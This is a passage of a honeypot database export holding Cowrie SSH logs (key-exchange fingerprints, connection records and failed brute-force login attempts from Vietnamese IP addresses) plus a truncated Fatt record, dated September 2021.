"umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0b451abe3cec", "@version": "1", "timestamp": "2021-09-20T11:07:29.267498Z", "@timestamp": "2021-09-20T11:07:29.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22887	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:29.856812+03	2021-09-20 14:15:06.790501+03	{"_id": "sQbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [nicole/nicole] failed", "session": "8cd0f79477cf", "@version": "1", "password": "nicole", "username": "nicole", "timestamp": "2021-09-20T11:07:29.856812Z", "@timestamp": "2021-09-20T11:07:29.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22888	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.810248+03	2021-09-20 14:15:06.791503+03	{"_id": "pgbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ac85c9120dd9", "@version": "1", "timestamp": "2021-09-20T11:07:29.810248Z", "@timestamp": "2021-09-20T11:07:29.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22889	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.609723+03	2021-09-20 14:15:06.7935+03	{"_id": "vwbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:58838 (192.168.176.2:22) [session: 0aef40958475]", "session": "0aef40958475", "@version": "1", "protocol": "ssh", "src_port": 58838, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.609723Z", "@timestamp": "2021-09-20T11:07:29.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22890	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:30.978666+03	2021-09-20 14:15:06.79447+03	{"_id": "3AbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e0d94bd02c8e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:30.978666Z", "@timestamp": "2021-09-20T11:07:30.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22891	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:30.552449+03	2021-09-20 14:15:06.79547+03	{"_id": "2QbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "321b4cbfd755", "@version": "1", "timestamp": "2021-09-20T11:07:30.552449Z", "@timestamp": "2021-09-20T11:07:30.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22892	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:31.085551+03	2021-09-20 14:15:06.79747+03	{"_id": "3QbjAnwBvYTbRNuEugvi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2357ad2a708d", "@version": "1", "timestamp": "2021-09-20T11:07:31.085551Z", "@timestamp": "2021-09-20T11:07:31.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22893	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:31.411357+03	2021-09-20 14:15:06.798471+03	{"_id": "BwbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/admin] failed", "session": "321b4cbfd755", "@version": "1", "password": "admin", "username": "test", "timestamp": "2021-09-20T11:07:31.411357Z", "@timestamp": "2021-09-20T11:07:31.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22894	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:31.959424+03	2021-09-20 14:15:06.799471+03	{"_id": "CQbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:58776 (192.168.176.2:22) [session: f368b5b5ef57]", "session": "f368b5b5ef57", "@version": "1", "protocol": "ssh", "src_port": 58776, "dest_port": 22, "timestamp": "2021-09-20T11:07:31.959424Z", "@timestamp": "2021-09-20T11:07:31.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22895	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.23604+03	2021-09-20 14:15:06.80147+03	{"_id": "CAbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f368b5b5ef57", "@version": "1", "timestamp": "2021-09-20T11:07:32.236040Z", "@timestamp": "2021-09-20T11:07:32.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22896	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:31.490612+03	2021-09-20 14:15:06.802471+03	{"_id": "DAbjAnwBvYTbRNuEvgzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 